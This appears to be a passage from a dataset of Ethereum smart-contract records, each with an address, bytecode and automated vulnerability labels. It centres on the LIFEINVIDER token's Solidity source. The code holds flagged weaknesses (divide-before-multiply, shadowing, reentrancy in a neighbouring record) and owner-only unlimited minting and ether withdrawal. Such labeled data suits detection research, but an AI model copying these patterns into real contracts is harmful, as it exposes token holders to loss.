565b9050919050565b60006020820190508181036000830152612ee181612c5f565b9050919050565b60006020820190508181036000830152612f0181612c82565b9050919050565b60006020820190508181036000830152612f2181612ca5565b9050919050565b60006020820190508181036000830152612f4181612cc8565b9050919050565b60006020820190508181036000830152612f6181612ceb565b9050919050565b60006020820190508181036000830152612f8181612d0e565b9050919050565b60006020820190508181036000830152612fa181612d31565b9050919050565b60006020820190508181036000830152612fc181612d54565b9050919050565b6000602082019050612fdd6000830184612d77565b92915050565b600060a082019050612ff86000830188612d77565b6130056020830187612b45565b81810360408301526130178186612ac9565b90506130266060830185612aba565b6130336080830184612d77565b9695505050505050565b60006020820190506130526000830184612d86565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006130b882613200565b91506130c383613200565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130f8576130f76132db565b5b828201905092915050565b600061310e82613200565b915061311983613200565b9250826131295761312861330a565b5b828204905092915050565b600061313f82613200565b915061314a83613200565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613183576131826132db565b5b828202905092915050565b600061319982613200565b91506131a483613200565b9250828210156131b7576131b66132db565b5b828203905092915050565b60006131cd826131e0565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006132228261323b565b9050919050565b600061323482613200565b9050919050565b60006132468261324d565b9050919050565b6000613258826131e0565b9050919050565b60005b8381101561327d578082015181840152602081019050613262565b8381111561328c576000848401525b50505050565b600061329d82613200565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132d0576132cf6132db565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f546178206665652063616e6e6f74206265206d6f7265207468616e2031302500600082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613784816131c2565b811461378f57600080fd5b50565b61379b816131d4565b81146137a657600080fd5b50565b6137b281613200565b81146137bd57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b3529595867424a0ce10d1ebac01a0b066a10866f5aecdccebd472dc978c44a364736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 1,691 |
0xbc4560097c2614f761fcc2c432b6f11a1ec2b009
|
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract LIFEINVIDER is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public Claimed;
string public constant name = "LIFEINVIDER";
string public constant symbol = "LIFE";
uint public constant decimals = 18;
uint public deadline = now + 360 * 1 days;
uint public round2 = now + 180 * 1 days;
uint public round1 = now + 180 * 1 days;
uint256 public totalSupply = 600000000e18;
uint256 public totalDistributed;
uint256 public constant requestMinimum = 1 ether / 100; // 0.01 Ether
uint256 public tokensPerEth = 100000e18;
uint public target0drop = 1000;
uint public progress0drop = 0;
address multisig = 0x86e382eEED4600bBf898B48162CE1254786b0d2F;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Airdrop(address indexed _owner, uint _amount, uint _balance);
event TokensPerEthUpdated(uint _tokensPerEth);
event Burn(address indexed burner, uint256 value);
event Add(uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() public {
uint256 teamFund = 300000000e18;
owner = msg.sender;
distr(owner, teamFund);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function Distribute(address _participant, uint _amount) onlyOwner internal {
require( _amount > 0 );
require( totalDistributed < totalSupply );
balances[_participant] = balances[_participant].add(_amount);
totalDistributed = totalDistributed.add(_amount);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
emit Airdrop(_participant, _amount, balances[_participant]);
emit Transfer(address(0), _participant, _amount);
}
function DistributeAirdrop(address _participant, uint _amount) onlyOwner external {
Distribute(_participant, _amount);
}
function DistributeAirdropMultiple(address[] _addresses, uint _amount) onlyOwner external {
for (uint i = 0; i < _addresses.length; i++) Distribute(_addresses[i], _amount);
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr public {
uint256 tokens = 0;
uint256 bonus = 0;
uint256 countbonus = 0;
uint256 bonusCond1 = 1 ether / 2;
uint256 bonusCond2 = 1 ether;
uint256 bonusCond3 = 3 ether;
tokens = tokensPerEth.mul(msg.value) / 1 ether;
address investor = msg.sender;
if (msg.value >= requestMinimum && now < deadline && now < round1 && now < round2) {
if(msg.value >= bonusCond1 && msg.value < bonusCond2){
countbonus = tokens * 2 / 100;
}else if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 4 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 6 / 100;
}
}else if(msg.value >= requestMinimum && now < deadline && now > round1 && now < round2){
if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 4 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 6 / 100;
}
}else{
countbonus = 0;
}
bonus = tokens + countbonus;
if (tokens == 0) {
uint256 valdrop = 20e18;
if (Claimed[investor] == false && progress0drop <= target0drop ) {
distr(investor, valdrop);
Claimed[investor] = true;
progress0drop++;
}else{
require( msg.value >= requestMinimum );
}
}else if(tokens > 0 && msg.value >= requestMinimum){
if( now >= deadline && now >= round1 && now < round2){
distr(investor, tokens);
}else{
if(msg.value >= bonusCond1){
distr(investor, bonus);
}else{
distr(investor, tokens);
}
}
}else{
require( msg.value >= requestMinimum );
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
multisig.transfer(msg.value);
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdrawAll() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function withdraw(uint256 _wdamount) onlyOwner public {
uint256 wantAmount = _wdamount;
owner.transfer(wantAmount);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
emit Burn(burner, _value);
}
function add(uint256 _value) onlyOwner public {
uint256 counter = totalSupply.add(_value);
totalSupply = counter;
emit Add(_value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
}
|
0x60806040526004361061018b576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610195578063095ea7b3146102255780631003e2d21461028a57806318160ddd146102b757806323b872dd146102e257806329dcb0cf146103675780632e1a7d4d14610392578063313ce567146103bf57806342966c68146103ea578063532b581c1461041757806370a082311461044257806374ff2324146104995780637809231c146104c4578063836e81801461051157806383afd6da1461053c578063853828b61461056757806395d89b411461057e5780639b1cbccc1461060e5780639ea407be1461063d578063a9059cbb1461066a578063aa6ca808146106cf578063b449c24d146106d9578063c108d54214610734578063c489744b14610763578063cbdd69b5146107da578063dd62ed3e14610805578063e58fc54c1461087c578063e6a092f5146108d7578063efca2eed14610902578063f2fde38b1461092d578063f3ccb40114610970575b6101936109b5565b005b3480156101a157600080fd5b506101aa610dbb565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101ea5780820151818401526020810190506101cf565b50505050905090810190601f1680156102175780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561023157600080fd5b50610270600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610df4565b604051808215151515815260200191505060405180910390f35b34801561029657600080fd5b506102b560048036038101908080359060200190929190505050610f82565b005b3480156102c357600080fd5b506102cc611039565b6040518082815260200191505060405180910390f35b3480156102ee57600080fd5b5061034d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061103f565b604051808215151515815260200191505060405180910390f35b34801561037357600080fd5b5061037c611415565b6040518082815260200191505060405180910390f35b34801561039e57600080fd5b506103bd6004803603810190808035906020019092919050505061141b565b005b3480156103cb57600080fd5b506103d46114e9565b6040518082815260200191505060405180910390f35b3480156103f657600080fd5b50610415600480360381019080803590602001909291905050506114ee565b005b34801561042357600080fd5b5061042c6116ba565b6040518082815260200191505060405180910390f35b34801561044e57600080fd5b50610483600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116c0565b6040518082815260200191505060405180910390f35b3480156104a557600080fd5b506104ae611709565b6040518082815260200191505060405180910390f35b3480156104d057600080fd5b5061050f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611714565b005b34801561051d57600080fd5b5061052661177e565b6040518082815260200191505060405180910390f35b34801561054857600080fd5b50610551611784565b6040518082815260200191505060405180910390f35b34801561057357600080fd5b5061057c61178a565b005b34801561058a57600080fd5b50610593611873565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105d35780820151818401526020810190506105b8565b50505050905090810190601f1680156106005780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561061a57600080fd5b506106236118ac565b604051808215151515815260200191505060405180910390f35b34801561064957600080fd5b5061066860048036038101908080359060200190929190505050611974565b005b34801561067657600080fd5b506106b5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611a11565b604051808215151515815260200191505060405180910390f35b6106d76109b5565b005b3480156106e557600080fd5b5061071a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c4c565b604051808215151515815260200191505060405180910390f35b34801561074057600080fd5b50610749611c6c565b604051808215151515815260200191505060405180910390f35b34801561076f57600080fd5b506107c4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c7f565b6040518082815260200191505060405180910390f35b3480156107e657600080fd5b506107ef611d6a565b6040518082815260200191505060405180910390f35b34801561081157600080fd5b50610866600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d70565b6040518082815260200191505060405180910390f35b34801561088857600080fd5b506108bd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611df7565b604051808215151515815260200191505060405180910390f35b3480156108e357600080fd5b506108ec61203c565b6040518082815260200191505060405180910390f35b34801561090e57600080fd5b50610917612042565b6040518082815260200191505060405180910390f35b34801561093957600080fd5b5061096e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612048565b005b34801561097c57600080fd5b506109b36004803603810190808035906020019082018035906020019190919293919293908035906020019092919050505061211f565b005b600080600080600080600080600d60149054906101000a900460ff161515156109dd57600080fd5b6000975060009650600095506706f05b59d3b200009450670de0b6b3a764000093506729a2241af62c00009250670de0b6b3a7640000610a2834600a546121d490919063ffffffff16565b811515610a3157fe5b049750339150662386f26fc100003410158015610a4f575060055442105b8015610a5c575060075442105b8015610a69575060065442105b15610ae757843410158015610a7d57508334105b15610a9957606460028902811515610a9157fe5b049550610ae2565b833410158015610aa857508234105b15610ac457606460048902811515610abc57fe5b049550610ae1565b8234101515610ae057606460068902811515610adc57fe5b0495505b5b5b610b71565b662386f26fc100003410158015610aff575060055442105b8015610b0c575060075442115b8015610b19575060065442105b15610b6b57833410158015610b2d57508234105b15610b4957606460048902811515610b4157fe5b049550610b66565b8234101515610b6557606460068902811515610b6157fe5b0495505b5b610b70565b600095505b5b85880196506000881415610c8a576801158e460913d00000905060001515600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515148015610bef5750600b54600c5411155b15610c6e57610bfe828261220c565b506001600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600c60008154809291906001019190505550610c85565b662386f26fc100003410151515610c8457600080fd5b5b610d1f565b600088118015610ca15750662386f26fc100003410155b15610d07576005544210158015610cba57506007544210155b8015610cc7575060065442105b15610cdc57610cd6828961220c565b50610d02565b8434101515610cf557610cef828861220c565b50610d01565b610cff828961220c565b505b5b610d1e565b662386f26fc100003410151515610d1d57600080fd5b5b5b600854600954101515610d48576001600d60146101000a81548160ff0219169083151502179055505b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015610db0573d6000803e3d6000fd5b505050505050505050565b6040805190810160405280600b81526020017f4c494645494e564944455200000000000000000000000000000000000000000081525081565b6000808214158015610e8357506000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b15610e915760009050610f7c565b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a3600190505b92915050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fe057600080fd5b610ff58260085461239890919063ffffffff16565b9050806008819055507f90f1f758f0e2b40929b1fd48df7ebe10afc272a362e1f0d63a90b8b4715d799f826040518082815260200191505060405180910390a15050565b60085481565b600060606004810160003690501015151561105657fe5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561109257600080fd5b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483111515156110e057600080fd5b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054831115151561116b57600080fd5b6111bd83600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123b490919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061128f83600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123b490919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061136183600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461239890919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b60055481565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561147957600080fd5b819050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156114e4573d6000803e3d6000fd5b505050565b601281565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561154c57600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561159a57600080fd5b3390506115ef82600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123b490919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611647826008546123b490919063ffffffff16565b600881905550611662826009546123b490919063ffffffff16565b6009819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a25050565b60065481565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b662386f26fc1000081565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561177057600080fd5b61177a82826123cd565b5050565b60075481565b600c5481565b600080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156117e957600080fd5b3091508173ffffffffffffffffffffffffffffffffffffffff16319050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561186e573d6000803e3d6000fd5b505050565b6040805190810160405280600481526020017f4c4946450000000000000000000000000000000000000000000000000000000081525081565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561190a57600080fd5b600d60149054906101000a900460ff1615151561192657600080fd5b6001600d60146101000a81548160ff0219169083151502179055507f7f95d919e78bdebe8a285e6e33357c2fcb65ccf66e72d7573f9f8f6caad0c4cc60405160405180910390a16001905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119d057600080fd5b80600a819055507ff7729fa834bbef70b6d3257c2317a562aa88b56c81b544814f93dc5963a2c003816040518082815260200191505060405180910390a150565b6000604060048101600036905010151515611a2857fe5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515611a6457600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311151515611ab257600080fd5b611b0483600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123b490919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b9983600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461239890919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505092915050565b60046020528060005260406000206000915054906101000a900460ff1681565b600d60149054906101000a900460ff1681565b60008060008491508173ffffffffffffffffffffffffffffffffffffffff166370a08231856040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015611d2257600080fd5b505af1158015611d36573d6000803e3d6000fd5b505050506040513d6020811015611d4c57600080fd5b81019080805190602001909291905050509050809250505092915050565b600a5481565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000806000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e5857600080fd5b8391508173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015611ef657600080fd5b505af1158015611f0a573d6000803e3d6000fd5b505050506040513d6020811015611f2057600080fd5b810190808051906020019092919050505090508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611ff857600080fd5b505af115801561200c573d6000803e3d6000fd5b505050506040513d602081101561202257600080fd5b810190808051906020019092919050505092505050919050565b600b5481565b60095481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156120a457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151561211c5780600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561217d57600080fd5b600090505b838390508110156121ce576121c1848483818110151561219e57fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff16836123cd565b8080600101915050612182565b50505050565b6000808314156121e75760009050612206565b81830290508183828115156121f857fe5b0414151561220257fe5b8090505b92915050565b6000600d60149054906101000a900460ff1615151561222a57600080fd5b61223f8260095461239890919063ffffffff16565b60098190555061229782600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461239890919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f8940c4b8e215f8822c5c8f0056c12652c746cbc57eedbd2a440b175971d47a77836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600081830190508281101515156123ab57fe5b80905092915050565b60008282111515156123c257fe5b818303905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561242957600080fd5b60008111151561243857600080fd5b60085460095410151561244a57600080fd5b61249c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461239890919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124f48160095461239890919063ffffffff16565b600981905550600854600954101515612523576001600d60146101000a81548160ff0219169083151502179055505b8173ffffffffffffffffffffffffffffffffffffffff167fada993ad066837289fe186cd37227aa338d27519a8a1547472ecb9831486d27282600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051808381526020018281526020019250505060405180910390a28173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350505600a165627a7a723058204b8f10746b160c23dbc24478181f036ac93c333de8b9e2f515fa0b86055bcfb70029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 1,692 |
0x8132af222BeB97511920C6Aa795b23d98d95E906
|
/**
*Submitted for verification at Etherscan.io on 2021-03-08
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
